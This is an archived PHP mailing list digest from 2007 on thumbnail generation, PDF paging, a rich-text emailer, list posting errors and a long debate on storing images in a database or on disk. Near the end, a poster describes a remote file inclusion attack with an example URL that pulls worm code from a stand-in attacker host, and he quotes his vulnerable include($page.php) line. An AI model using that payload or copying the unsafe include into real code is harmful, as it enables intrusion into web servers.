[PHP] problems with thumbnail image

2007-03-02 Thread Punit Neb
hello,

I am a newbie trying to create on the fly thumbnail images on a debian sarge 
system with PHP Version 4.3.9-1.

The following code is used
?
function thumbnail_img($photo_img_name)
{
$percent = 0.5;
 list($width, $height) = getimagesize($photo_img_name);
 $newwidth = $width * $percent;
 $newheight = $height * $percent;
 $thumb = imagecreatetruecolor($newwidth, $newheight);
 $source = imagecreatefrompng($photo_img_name);
 imagecopyresized($thumb, $source, 0, 0, 0, 0, $newwidth, $newheight, $width, 
$height);
return imagepng($thumb);
}

 print 'HTML';
 print 'HEAD';
 print 'META HTTP-EQUIV=Pragma CONTENT=no-cache';
 print 'TITLEImage/TITLE';
 print '/HEAD';
print 'body';
//image file name
 $photo_img_name='./photos/1.png';
//display original image
 print 'IMG SRC='.$photo_img_name.' border=1';
//thumbnail image
print 'IMG SRC='.thumbnail_img($photo_img_name).' border=1';
print '/body';
print '/html';
?

The original image gets displayed correctly. But in place of the thumbnail 
image i get loads of junk text data. I guess the hmtl tags are all in order 
as the original image is perfectly displayed.

What have i missed. Any comments, help etc will be appreciated.

regards
Punit Neb

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] PDF Overflow

2007-03-02 Thread Holger Blasum
On 02-28, Eddie Schnell wrote:
 I am writing a PHP file that outputs a PDF file that will have a bunch 
 of data from the data base. After the ammount of data hits 24 pieces(23 
 with 0) i need it to go to a new page. I am using the PDFB Library which 
 contains a custom barcode thing, FPDI+FPDF.

PDFB's $pdf-AddPage(); looks like what you need?

Kind regards,

-- 
Holger Blasum +49-174-7313590 (cell) GnuPG 1024D/ACDFC3B769DC1ED66B47


signature.asc
Description: Digital signature


Re: [PHP] problems with thumbnail image

2007-03-02 Thread Németh Zoltán
2007. 03. 2, péntek keltezéssel 13.56-kor Punit Neb ezt írta:
 hello,
 
 I am a newbie trying to create on the fly thumbnail images on a debian sarge 
 system with PHP Version 4.3.9-1.
 
 The following code is used
 ?
 function thumbnail_img($photo_img_name)
 {
 $percent = 0.5;
  list($width, $height) = getimagesize($photo_img_name);
  $newwidth = $width * $percent;
  $newheight = $height * $percent;
  $thumb = imagecreatetruecolor($newwidth, $newheight);
  $source = imagecreatefrompng($photo_img_name);
  imagecopyresized($thumb, $source, 0, 0, 0, 0, $newwidth, $newheight, $width, 
 $height);
 return imagepng($thumb);
 }
 
  print 'HTML';
  print 'HEAD';
  print 'META HTTP-EQUIV=Pragma CONTENT=no-cache';
  print 'TITLEImage/TITLE';
  print '/HEAD';
 print 'body';
 //image file name
  $photo_img_name='./photos/1.png';
 //display original image
  print 'IMG SRC='.$photo_img_name.' border=1';
 //thumbnail image
 print 'IMG SRC='.thumbnail_img($photo_img_name).' border=1';
 print '/body';
 print '/html';
 ?
 
 The original image gets displayed correctly. But in place of the thumbnail 
 image i get loads of junk text data. I guess the hmtl tags are all in order 
 as the original image is perfectly displayed.
 
 What have i missed. Any comments, help etc will be appreciated.

either create a filename for the thumbnail and add it to the imagepng()
call as second parameter and reference it in the thumbnail img tag

or put the thumbnail creation in a separate file, say thumbnail.php
then the img tag should be like

echo img src=\thumbnail.php?img= . $photo_img_name . \;

and the thumbnail.php should send out some content-type header e.g.
Content-Type: image/png and then call your function like

echo thumbnail_img($_GET['img']);

hope that helps
Zoltán Németh

 
 regards
 Punit Neb
 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] rich html emailer

2007-03-02 Thread Ross
Hi,

 I have created a basic HTML emailer with PHP where the body is created and 
text is inserted via a text area.

Now I would like to expand this so the client can put in live URL and mailto 
links. I can use htmlentities() to do this but I would also like a button 
that allow them to enter it through a dialog box.

Is there a php/javascript class that can do this?


R. 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



RE: [PHP] rich html emailer

2007-03-02 Thread Edward Kay

 Hi,

  I have created a basic HTML emailer with PHP where the body is
 created and
 text is inserted via a text area.

 Now I would like to expand this so the client can put in live URL
 and mailto
 links. I can use htmlentities() to do this but I would also like a button
 that allow them to enter it through a dialog box.

 Is there a php/javascript class that can do this?


Have a look at http://www.fckeditor.net/

Edward

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Fw: [PHP] Help! I cannot send e-mail to your mail groups

2007-03-02 Thread Haydar Tuna

Hello Again,
  If I send e-mail to your group, I have an error message below. There 
aren't any network problems. I try to send mail different places but I get 
same error message. May be, you can restrict Turkish IP address blocks 
becuase I haven't see any message from Turkey recently in your mail lists. 
May be, you can restrict my mail address in your group. I'm writing a book 
about PHP and I love helping any people about PHP on the world. Can you help 
me in this issuse? What is the problem? and this problem has been for 2 
weeks. 2 weeks ago, I could send mail your groups easily.

 I'm looking forward from hear you.


Error Message:
Outlook Express could not post your message.  Subject 'Re: PHP and cron', 
Account: 'news.php.net', Server: 'news.php.net', Protocol: NNTP, Port: 119, 
Secure(SSL): No, Socket Error: 10051, Error Number: 0x800CCC0E



- Original Message - 
From: Németh Zoltán [EMAIL PROTECTED]

To: Haydar Tuna [EMAIL PROTECTED]
Cc: php-general@lists.php.net
Sent: Friday, March 02, 2007 12:19 PM
Subject: Re: [PHP] Help! I cannot send e-mail to your mail groups





2007. 03. 2, péntek keltezéssel 09.57-kor Haydar Tuna ezt írta:

Hello,
I have been Linux user for 7 years and I have been membership of Linux
Community group for 3 years in Turkey. As you know, linux users share all 
of

experiences and knownledges and I'm writing a book about PHP. I'm a PHP
professional for this reason I want to help any people on the world but I
haven't send a message for two days. I got an abuse e-mail two times but
there isn't any problem my mails that I have send your mail group. I want 
to

send e-mail your mail group again, I want to help any people on the world
again if possible. Can you help me?
I'm looking forward here you.



It seems to me you can send mail to the list, as I have received it ;)

(or maybe I misunderstood your problem?)

greets
Zoltán Németh

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] problems with thumbnail image

2007-03-02 Thread Punit Neb
On Friday 02 March 2007 15:48, Németh Zoltán wrote:

Many thanks Németh Zoltán for the prompt response.
 2007. 03. 2, péntek keltezéssel 13.56-kor Punit Neb ezt írta:
  hello,
 
  I am a newbie trying to create on the fly thumbnail images on a debian
  sarge system with PHP Version 4.3.9-1.
 
  The following code is used
  ?
  function thumbnail_img($photo_img_name)
  {
  $percent = 0.5;
   list($width, $height) = getimagesize($photo_img_name);
   $newwidth = $width * $percent;
   $newheight = $height * $percent;
   $thumb = imagecreatetruecolor($newwidth, $newheight);
   $source = imagecreatefrompng($photo_img_name);
   imagecopyresized($thumb, $source, 0, 0, 0, 0, $newwidth, $newheight,
  $width, $height);
  return imagepng($thumb);
  }
 
   print 'HTML';
   print 'HEAD';
   print 'META HTTP-EQUIV=Pragma CONTENT=no-cache';
   print 'TITLEImage/TITLE';
   print '/HEAD';
  print 'body';
  //image file name
   $photo_img_name='./photos/1.png';
  //display original image
   print 'IMG SRC='.$photo_img_name.' border=1';
  //thumbnail image
  print 'IMG SRC='.thumbnail_img($photo_img_name).' border=1';
  print '/body';
  print '/html';
  ?
 
  The original image gets displayed correctly. But in place of the
  thumbnail image i get loads of junk text data. I guess the hmtl tags are
  all in order as the original image is perfectly displayed.
 
  What have i missed. Any comments, help etc will be appreciated.

 either create a filename for the thumbnail and add it to the imagepng()
 call as second parameter and reference it in the thumbnail img tag

 or put the thumbnail creation in a separate file, say thumbnail.php
 then the img tag should be like

 echo img src=\thumbnail.php?img= . $photo_img_name . \;

I have used this method for generating the thumbnail images. I avoided 
creating the thumbnails and saving to the disk as the images change very 
frequently. 

Thank you so much for helping me with this one:))

regards
Punit Neb

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: Fw: [PHP] Help! I cannot send e-mail to your mail groups

2007-03-02 Thread Németh Zoltán
2007. 03. 2, péntek keltezéssel 13.42-kor Haydar Tuna ezt írta:
 Hello Again,
If I send e-mail to your group, I have an error message below. There 
 aren't any network problems. I try to send mail different places but I get 
 same error message. May be, you can restrict Turkish IP address blocks 
 becuase I haven't see any message from Turkey recently in your mail lists. 
 May be, you can restrict my mail address in your group. I'm writing a book 
 about PHP and I love helping any people about PHP on the world. Can you help 
 me in this issuse? What is the problem? and this problem has been for 2 
 weeks. 2 weeks ago, I could send mail your groups easily.
   I'm looking forward from hear you.
 
 
 Error Message:
 Outlook Express could not post your message.  Subject 'Re: PHP and cron', 
 Account: 'news.php.net', Server: 'news.php.net', Protocol: NNTP, Port: 119, 
 Secure(SSL): No, Socket Error: 10051, Error Number: 0x800CCC0E

hmm I must admit I don't know anything about using NNTP on
news.php.net...
I simply send all mails to php-general@lists.php.net (with SMTP) and no
problem...
I subscribed to the list at http://www.php.net/mailing-lists.php and
sent back a confirmation email and that's all...

greets
Zoltán Németh

 
 
 - Original Message - 
 From: Németh Zoltán [EMAIL PROTECTED]
 To: Haydar Tuna [EMAIL PROTECTED]
 Cc: php-general@lists.php.net
 Sent: Friday, March 02, 2007 12:19 PM
 Subject: Re: [PHP] Help! I cannot send e-mail to your mail groups
 
 
 
 
 
 2007. 03. 2, péntek keltezéssel 09.57-kor Haydar Tuna ezt írta:
  Hello,
  I have been Linux user for 7 years and I have been membership of Linux
  Community group for 3 years in Turkey. As you know, linux users share all 
  of
  experiences and knownledges and I'm writing a book about PHP. I'm a PHP
  professional for this reason I want to help any people on the world but I
  haven't send a message for two days. I got an abuse e-mail two times but
  there isn't any problem my mails that I have send your mail group. I want 
  to
  send e-mail your mail group again, I want to help any people on the world
  again if possible. Can you help me?
  I'm looking forward here you.
 
 
 It seems to me you can send mail to the list, as I have received it ;)
 
 (or maybe I misunderstood your problem?)
 
 greets
 Zoltán Németh
 
 
 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Re: how to display images stored in DB

2007-03-02 Thread Robert Cummings
On Thu, 2007-03-01 at 19:42 -0500, markw@mohawksoft.com wrote:
  On Thu, 2007-03-01 at 21:08 +0100, Roman Neuhauser wrote:
  # [EMAIL PROTECTED] / 2007-03-01 12:46:09 -0500:
   At 10:01 AM -0500 3/1/07, markw@mohawksoft.com wrote:
   In this discussion I have stated reasons why it is a bad idea. No one
  has
   come up with a counter point which can only be served by a database
  and
   thus proves me wrong. I think that says something.
  
  
   Contradiction is not a sign of falsity, nor the lack of contradiction
   a sign of truth.
  
   I think no comment says that discussing this issue has problems.
  
   For example, this has been subject of many flame wars before and I'm
   sure that many just don't care to join in. If you want to claim
   something absurd, then who are they to correct you? And why should
   they care?
 
  Exactly, ted.  markw is so obviously right, and he's presented the
  points so well, there's nothing to add, really.  but since you asked:
  yeah, he's right.
 
  I'm going to skip his response to my previous comments and just add the
  following to this post:
 
  To follow up with Ted, nobody said using the filesystem is bad,
 
 No, it is the most efficient way.

Prove it! Don't just claim it.

  what
  many of us are saying is that the database is not necessarily bad
  either.
 
 To make this claim, you need a rational argument to support it. Faith
 Based engineering is a por substitute.
 
  It really depends on what you're doing and how you choose to
  address the problem with all of your knowledge.
 
 Assuming your knowledge never expands when confronted with a problem which
 requires learning more.
 
   Many of us here are
  quite aware of the different technologies available to access shared
  binary data across some kind of network etc. But, given time
  constraints, budget constraints, and all manner of personal preference
  and training and ingenuity, we CHOOSE to use one solution over the other
  for any given problem space.
 
 The good enough fallacy.
 
  So far Mark has almost entirely focused on
  the performance and filesystems were made to do that argument...
 
 Um, yea.
 
  Who the hell cares??!
 
 Ahh, famous last words. You only need to get bitten once and you will
 change your tune very quickly.

Oh, those aren't my last words, and I'm hardly famous. And why would I
change my tune quickly? And wouldn't that depend on what bites me? I
haven't heard anything from you yet that suggests you are right and I am
wrong. I've heard anecdotal arguments in favour of the filesystem for
some cases, but nothing that proves it is the flat out winner in all
situations.

  If people stopped trying to use old ideas to solve
  novel problems then innovation and ingenuity would go out the window...
 
 I would argue that if people fail to research and devise better solutons,
 then innovation doesn't happen.

Many new ideas come from people not versed in previous solutions. This
happens because they don't get stuck in the mindset taught to them by
the establishment. I think you're a bit stuck in a rut with horse
blinders covering your face... nowhere to go but filesystem because
you're to closed minded to appreciate novel solutions using databases
*smirk*. Personally, I can appreciate both solutions. And I'll just
reiterate, nobody is arguing databases are always better. But they are
sometimes.

 
  and if that happens, then nothing advances, nothing is doscovered, we
  live a life of boring old filesystems that just do files.
 
 So, files are bad?

No, but they may not be the best solution. Who knows, humans are a very
young species and our knowledge has only begun.

  Why CAN'T a
  database be used as a filesystem?
 
 Because it is not well suited for the task for which you are trying to use
 it.

Just because something isn't generally well suited doesn't mean it can't
be used. You seem to think that everyone needs to follow your way.
Wrong, we'll follow whichever way we think is better given our own
experience.

  Mark said himself that filesystems
  pretty much are databases..
 
 I said nothing of the sort. I forget the exact words, but yes there are
 conceptual similarities, but that's the limit of what I have said.

And I quote:

Rob said:
 In fact many newer bleeding edge filesystems are practically
 database implementations.

Mark said:
Not even bleeding edge. Think of the UNIX file systems, many
use file names merely as indexes to inodes which point to
files. Very database-esque.

database-esque -- straight from the horses mouth :B

  why limit them to just doing what they do
  now? Why can't they do more?
 
 Because a database *is* designed to do more than a filesystem. Databases
 have a LOT of features and requirements that file systems do not have and
 things like bitmap binary objects don't need. They are fundamentally
 different things.
 
  Why can't they become more like fully
  fledged queryable databases?
 
 See above.

What precisely 

RE: [PHP] Re: how to display images stored in DB

2007-03-02 Thread Tim
 I highly recommend a dark ale or two 
 to bring down the core temperature :)

Amen!

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Re: how to display images stored in DB

2007-03-02 Thread tedd

At 5:24 PM -0600 3/1/07, Richard Lynch wrote:

On Wed, February 28, 2007 6:41 pm, Robert Cummings wrote:

 What about when you need to share those files across a 50 node
 network?
 I'd keep it in a database, then when I need it cache a local copy on
 the
 filesystem. Then I can just check the timestamp in the database to see
 if the file has changed. Voila, multi-node high availability images.

 Seems better than have a local copy of every single image. I guess the
 answer is... it depends on what you're doing!


Add an image server (or 20) and change the HTML to point to the image
server.

Use rsync on the 20 image client servers from the master image server.

Lots of ways to skin this cat.



But the cat ain't going to like any of them.

tedd
--
---
http://sperling.com  http://ancientstones.com  http://earthstones.com

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Help! I cannot send e-mail to your mail groups

2007-03-02 Thread Haydar Tuna
:)


-- 
Haydar TUNA
Republic Of Turkey - Ministry of National Education
Education Technology Department Ankara / TURKEY
Web: http://www.haydartuna.net

Haydar Tuna [EMAIL PROTECTED] wrote in message 
news:[EMAIL PROTECTED]
Hello Again,
   If I send e-mail to your group, I have an error message below. There
aren't any network problems. I try to send mail different places but I get
same error message. May be, you can restrict Turkish IP address blocks
becuase I haven't see any message from Turkey recently in your mail lists.
May be, you can restrict my mail address in your group. I'm writing a book
about PHP and I love helping any people about PHP on the world. Can you help
me in this issuse? What is the problem? and this problem has been for 2
weeks. 2 weeks ago, I could send mail your groups easily.
  I'm looking forward from hear you.


Error Message:
Outlook Express could not post your message.  Subject 'Re: PHP and cron',
Account: 'news.php.net', Server: 'news.php.net', Protocol: NNTP, Port: 119,
Secure(SSL): No, Socket Error: 10051, Error Number: 0x800CCC0E


- Original Message - 
From: Németh Zoltán [EMAIL PROTECTED]
To: Haydar Tuna [EMAIL PROTECTED]
Cc: php-general@lists.php.net
Sent: Friday, March 02, 2007 12:19 PM
Subject: Re: [PHP] Help! I cannot send e-mail to your mail groups





2007. 03. 2, péntek keltezéssel 09.57-kor Haydar Tuna ezt írta:
 Hello,
 I have been Linux user for 7 years and I have been membership of Linux
 Community group for 3 years in Turkey. As you know, linux users share all 
 of
 experiences and knownledges and I'm writing a book about PHP. I'm a PHP
 professional for this reason I want to help any people on the world but I
 haven't send a message for two days. I got an abuse e-mail two times but
 there isn't any problem my mails that I have send your mail group. I want 
 to
 send e-mail your mail group again, I want to help any people on the world
 again if possible. Can you help me?
 I'm looking forward here you.


It seems to me you can send mail to the list, as I have received it ;)

(or maybe I misunderstood your problem?)

greets
Zoltán Németh 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



RE: [PHP] Re: how to display images stored in DB

2007-03-02 Thread markw
 I highly recommend a dark ale or two
 to bring down the core temperature :)

A good Zinfendel, sit back and relax.

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Re: how to display images stored in DB

2007-03-02 Thread Robert Cummings
On Fri, 2007-03-02 at 11:01 -0500, markw@mohawksoft.com wrote:

I'm going to mostly skip your drivel... and cut straight to a short
comment and an example proving the invalidity of your general argument
that the filesystem is always a better place to store image content.

  There we go... you only think you are right. Thanks for clearing that
  up. When you have proof of being right I'll start taking notes. At this
  time I'd like to bring into play a line originally introduced to me by
  Mr. Tedd Sperling:
 
  Locus ab auctoritate est infirmissimus.
 
  Thanks tedd, I like that line. When you have something substantial to
  back up your claim, maybe proof as opposed to argument, I'll be all
  ears. Your education, your immersion in the field, even your hands on
  experience do not make you right. They increase the likelihood that you
  know your subject matter, but in absence of tangible evidence they are
  only theories.
 
 I have posted a good number of reasons why the position presented is
 correct. You have posted zero refutations to the reasons. It may not be
 irrefutable in your eyes, but funny how they have not been refuted.

You have posted a good number of reasons why it is sometimes better,
even more often than not better, you have not posted a single reason the
indicates why it is ALWAYS better. Why'd you skip the second half of my
post where I gave contradictory examples?

Let me spell another out for you, I'll even do it in your language:

User requests a page that requires the assimilation of N icons into a
single larger image as uploaded previous by the user of the current
session (n can be any number of uploaded icons -- all icons just so
happen to fall under 2k in size):

Database Storage:

Get http request
parse request
check permissions
init PHP request
check session validity
create sql request
parse query
execute query
open file (if table not currently open)
lock file for read
grab N items of data based on user ID index field
return data (local socket connection)
unlock read lock
format return data (in memory)
create aggregate image based on image dims (in table fields)
for i = 1 to n
copy sub-image into aggregate image
endloop
set headers for browser
send data

Filesystem:

Get http request
parse request
check permissions
init PHP request
check session validity
open directory for user ID image path
(not sure but I think you need a read lock)
read directory
(maybe release lock)
close directory
for i = 1 to n
open image file
(not sure but I think you need a read lock)
read in image content
(maybe release lock)
close image file
temporarily store image content
endloop
create aggregate image based on image dims
for i = 1 to n
copy sub-image into aggregate image
endloop
set headers for browser
send data

Now which one did you say was faster? Which did you say was more
convenient? Which is more understandable by future developers? Which is
more scalable 00 maybe my images aren't on just this one server maybe
they're on 10 servers? By the way, maybe I also want descriptions for
each image imported as part of the aggregated image. So I need to do a
query for those anyways, or maybe you'd use files for that too -- after
all don't files store data? Anyways, you are plainly wrong in the
general case of filesystems being better than databases. They may be
better often, but not always.

Understandably you will argue against this with some artificial argument
such as it's an artifical example, but really, who cares? You said
never, so artificial examples count. You'll probably still argue (that's
your closed mind getting in the way again), but I'll probably just
ignore you now since I don't think you have anything to add that you
haven't already stated,  and you still haven't been able to prove the
argument in general.

I'll tell you what, I'll give you one last chance to prove it. Take the
above example, implement your filesystem method for 1 icons and I'll
do the same using a database. Then we'll benchmark them. And yes, I do
want associated descriptions embedded in the aggregate image. If you are
so right, then this should be trivial.

Cheers,
Rob.
-- 
..
| InterJinn Application Framework - http://www.interjinn.com |
::
| An application and templating framework for PHP. Boasting  |
| a powerful, scalable system for accessing system services  |
| such as forms, properties, sessions, and caches. InterJinn |
| also provides an extremely flexible architecture for   |
| creating 

Re: [PHP] Re: how to display images stored in DB*

2007-03-02 Thread tedd

  At 10:01 AM -0500 3/1/07, markw@mohawksoft.com wrote:


 If you are open to honestly consider, then I shall provide a couple
 of examples. But if I do and you do not agree, then your only
 recourse will be to *prove* otherwise.

 So, what say you?


Absolutely, I'm all about computer science. Give me some real world
examples and I'll show you the flaws.

-snip-

What do *you* say?


Mark:

Well... it's not just me, but from what I've learned and read over the years.

Your claim is that in ALL cases using a file system to store images 
is preferable to using a database. As such, you claim that using a dB 
for storing images is bad practice.


My claim is that both methods have their advantages and 
disadvantages, as I said in my opening post on this thread Both 
techniques have up-sides and down-sides -- and I use both depending 
upon needs.


Part of the problem here is that we are using subjective terms such 
as bad practice and preferable methodologies. So a bit of 
objectivity is in order. Such terms can be viewed from different 
perspectives, such as time taken, cost in equipment, ease of use, and 
many other such concerns.


However, I realize that what's preferable and bad practice for 
you may differ for me and therein provides an opportunity for you to 
pass on *proving* that none of the following fits within in your 
considerations and restrictions. But, that's Okay -- you can keep 
your opinion. I am only offering what I believe to be relevant 
because you said you would honestly consider it.


The following are the things I consider important for this discussion:

Consideration 1

Storing images in a database bloats the database and you're more 
likely to approach memory limits of your operating system. However, 
storing images the file system, likewise may cause lookups to become 
slower on some operating systems than using a dB (Granted this is a 
weak consideration, but I read it, so it must be true.)  :-)


Consideration 2

If your project is to supply images across several web servers on 
different host, then you are caught in a sync problem. Images stored 
in a file system must be stored on a local host. In a multiple host 
situation you must have a duplicate set of images on each host. 
Synchronizing images across different files systems on different host 
is far more complicated and problematic than maintaining a single 
database from which all host can draw the most current images.


Consideration 3

Storing images images in a file system and their location in a 
database is a two step process in all image operations. If your 
project requires a transactions, then it's obviously more difficult 
to accomplish for not only do you have to do two operations, but they 
must take place in two domains. Whereas, if you store images in a 
database it is a simple matter to add, alter, and delete because it's 
one operation and thus no need to confirm that the file system and 
database remain in sync.


Consideration 4

Even without transactions, it's simpler to have all data in a single 
dB than it is two divide the data into two sets and then maintain a 
sync.


Consideration 5

Backups. It is far easier, faster, more reliable, and less prone to 
error to perform a single mysql dump of all images than it is to 
preform a mysql dump of all image locations AND duplicate all image 
files. I even had a client who demanded that his image files be 
localized in such a manner. That's a real world example, where's the 
flaw in providing what the customer wants?


Consideration 6

While this should be avoided through good coding practice, but if you 
screw-up a path, things can get chaotic real fast. Hard coding 
partial paths in your code and pulling the rest of the path out of 
the dB is prone to more error than just accessing the image directly 
from the database. Granted, coders should be aware that all of the 
path should be taken from the dB and not hard code any path 
information, but that practice isn't always followed. Unfortunately, 
we don't always work with just our code and preferences.


Consideration 7

The future -- while programming styles and types differ, the trend is 
toward encapsulating (i.e., keeping all data, methods and functions 
together within an organization and hidden). From OOP to unobtrusive 
code, clearly this is the direction of today.


My personal preference is to keep all my relative data together as 
well. If my data, along with other attributes, incorporates images 
then, I like the idea (but, don't always practice it myself) of 
having everything in one place and storing images along with other 
associated data in a database makes sense to me. To me, images are 
nothing more than large hunks of data. Why tell fat people to sit 
somewhere else?


I certainly can understand and realize that images, because of their 
size (and size alone), can be problematic with respect to time and 
memory, however, both of those physical restraints are becoming less 
of a 

Re: [PHP] Re: how to display images stored in DB

2007-03-02 Thread steve

 Not in my environment. All db servers have RAID 10 over 8 SCSI 15K
 disks. Pulling from them is always faster than a webserver pulling
 from its SATA drive.

That's not exactly an apples to apples comparison.


That is true, and sort of the point.

However, the whole thing started because someone was asking a trivial
question. The assumption there is that they are on a hosted
environment, likely with the the web server and the database on the
same server. Chances are the filesystem will be a better bet for them
for speed. But on such a system, the speed difference may not be much
of a concern.

Where I am, I am forced to think about different things, so my
viewpoint may be improperly colored. Its completely random that I'm
posting to this list at all...


 Also, there is issue of going to the database and going to the
 filesystem. Timing wise, you

Please explain.


I'm making assumptions about the layout again. The database will
likely already have the table files opened, but will need a seek to
get the data. The webserver will have to do an additional seek (I was
assuming on a far slower drive system, and likely twice for stat and
read).


Putting the files in the DB doesn't always remove extra cleanup/management
stuff. Sometimes the database stores binary objects as files and sometimes
they don't get deleted correctly.


I'm dying to know what database you are using that puts every blob in
a separate file these days.

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] best framework (pear vs zend framework)

2007-03-02 Thread steve

There is PRADO.

On 3/1/07, Larry Garfield [EMAIL PROTECTED] wrote:

On Thursday 01 March 2007 3:17 am, Edward Kay wrote:

 Personally, I like Qcodo (http://www.qcodo.com) - but only because it fits
 with both my mindset and the applications I'm developing at the moment.

 Edward

I looked into QCodo recently when considering it for a project.  It looks like
it would be really good for certain types of applications, specifically the
full-blown Web 2.0 everything-is-one-form type apps like GMail, Basecamp,
RoundCube, etc.  For more traditional Web 1.5-ish apps, it doesn't seem
like it is flexible enough with the one-form-per-page limitation.

That is my opinion from not actually building anything with it yet, at
least. :-)

--
Larry Garfield  AIM: LOLG42
[EMAIL PROTECTED]  ICQ: 6817012

If nature has made any one thing less susceptible than all others of
exclusive property, it is the action of the thinking power called an idea,
which an individual may exclusively possess as long as he keeps it to
himself; but the moment it is divulged, it forces itself into the possession
of every one, and the receiver cannot dispossess himself of it.  -- Thomas
Jefferson

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php




--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Combining sound files

2007-03-02 Thread tedd

At 5:28 PM -0600 2/27/07, Richard Lynch wrote:

You may find it easier/faster to just locate a .wav splicer command
line tool and run exec with it.  Though perhaps not nearly as fun,
depending on your definition of fun.


Richard:

Nah, it's easier to bit twiddle the sound files and I found an easy 
way to combine them. It's funny what a few bytes of data can do.  :-)


What's ya think of this -- does it work for you?

http://sperling.com/examples/captcha/

Cheers,

tedd
--
---
http://sperling.com  http://ancientstones.com  http://earthstones.com

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Re: how to display images stored in DB*

2007-03-02 Thread Brad Bonkoski

snip...
For the record, I will *never* say one size fits all in the realm of 
computer programming...


Consideration 2

If your project is to supply images across several web servers on 
different host, then you are caught in a sync problem. Images stored 
in a file system must be stored on a local host. In a multiple host 
situation you must have a duplicate set of images on each host. 
Synchronizing images across different files systems on different host 
is far more complicated and problematic than maintaining a single 
database from which all host can draw the most current images.
What does the DB approach offer that a centralized image server could 
not?  Still making network requests for some resource (in this case an 
image)




Consideration 3

Storing images images in a file system and their location in a 
database is a two step process in all image operations. If your 
project requires a transactions, then it's obviously more difficult to 
accomplish for not only do you have to do two operations, but they 
must take place in two domains. Whereas, if you store images in a 
database it is a simple matter to add, alter, and delete because it's 
one operation and thus no need to confirm that the file system and 
database remain in sync.

Very true, transactions and rollback capabilities would keep things in sync.


Consideration 5

Backups. It is far easier, faster, more reliable, and less prone to 
error to perform a single mysql dump of all images than it is to 
preform a mysql dump of all image locations AND duplicate all image 
files. I even had a client who demanded that his image files be 
localized in such a manner. That's a real world example, where's the 
flaw in providing what the customer wants?
Again, thinking of a RAID Array for a centralized image server, with 
potentially N hot standbys doing occasional rsyncs.  So, this 
consideration is not quite as strong as others...  And we all know 
customers can be idiots, so drawing conclusions on what they deem 
important is not a strong consideration either.


Consideration 6

While this should be avoided through good coding practice, but if you 
screw-up a path, things can get chaotic real fast. Hard coding partial 
paths in your code and pulling the rest of the path out of the dB is 
prone to more error than just accessing the image directly from the 
database. Granted, coders should be aware that all of the path 
should be taken from the dB and not hard code any path information, 
but that practice isn't always followed. Unfortunately, we don't 
always work with just our code and preferences.
Hmm... coder stupidity...can happen with any system you implement.  So 
it's a draw on this one.


Consideration 7

The future -- while programming styles and types differ, the trend is 
toward encapsulating (i.e., keeping all data, methods and functions 
together within an organization and hidden). From OOP to unobtrusive 
code, clearly this is the direction of today.

Yeah, the future...
I guess memory is getting cheaper every day.  But there is still a 
capacity for a given machine.  So, how easy would it be to scale DB 
servers across multiple machines as opposed to having a centralized DB 
server pointing to image locations potentially serviced by N image servers?





It is without doubt, in my mind, that the ease that dB's offer in 
localizing data will prevail over distributive methodologies which are 
primarily based upon time and money concerns -- for time and money are 
lessening concerns.
Yep, but how many companies do you know of *today* that would scrap $5 
million in computers to upgrade them all at a cost $x as opposed to just 
spending another $25K to expand their current base?  So as long as the 
best bang for the buck today line of thinking holds...distributed 
systems will remain dominant, especially in the area of data storage.



Overall this has been a cool and interesting thread.  For the most part, 
I would say I side with Mark, but again the fatal flaw appears to be the 
insistence that one approach is right in 100% of the time...which 99% of 
the time is false.


-B

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] RE: [PHP-WIN] Re: Question on virus/worms

2007-03-02 Thread Bill Bolte
Turn off all error reporting (in php.ini) so that the error isn't pushed
to the screen. 

-Original Message-
From: Seak, Teng-Fong [mailto:[EMAIL PROTECTED] 
Sent: Friday, March 02, 2007 12:16 PM
To: php-windows@lists.php.net; php-general@lists.php.net
Subject: [PHP-WIN] Re: Question on virus/worms

Robert Cummings wrote:
 Did you bother to google any of them? I just punched PHP/BackDoor.gen 
 into Google and got a wealth of information.
Yes, of course!  But what I can see there aren't far from useless
(cf what I write below).

Stut wrote:
 Seak, Teng-Fong wrote:
 PHP/Chaploit
 http://vil.nai.com/vil/content/v_129568.htm

 [snipped]
I know these already.  The server is using McAfee.  So I'm quite
familiar with VIL of McAfee.  But informations given by these pages
aren't enough to let me know what to do and how those virus/worms got to
get inside.
 Do they mean anything to anyone of you?  Do you know how they've 
 got inside the computer?  Is there anything to do to prevent that?  
 Are they known PHP virus/worms to PHP community?
 Most likely means of them getting onto your machine is poorly written 
 scripts, over-reliance on scripts downloaded from the web and poor 
 server security.

 Hope that helps.
No, not really :-(

But after I've spent some time reading the log files, I've finally
found out how the hackers managed to achieve worm infiltration.

Actually, they're using an URL like this:
http://my-domain.com/index.php?page=http://hacker-domain.com/some-worm-f
ile.txt?

And the some-worm-file.txt file contains some PHP code, while my
index.php contains this instruction:
include($page.php);

This is enough to make infiltration possible!  IMO, this instruction
is supposed to be used like this, isn't it?  So this is obviously a PHP
security loophole and I don't see how the poorly written scripts can
help anything unless a totally rewrite!  And there's no poor server
security that I can see.

I've installed PHP5 and the problem seems fixed.  However, PHP
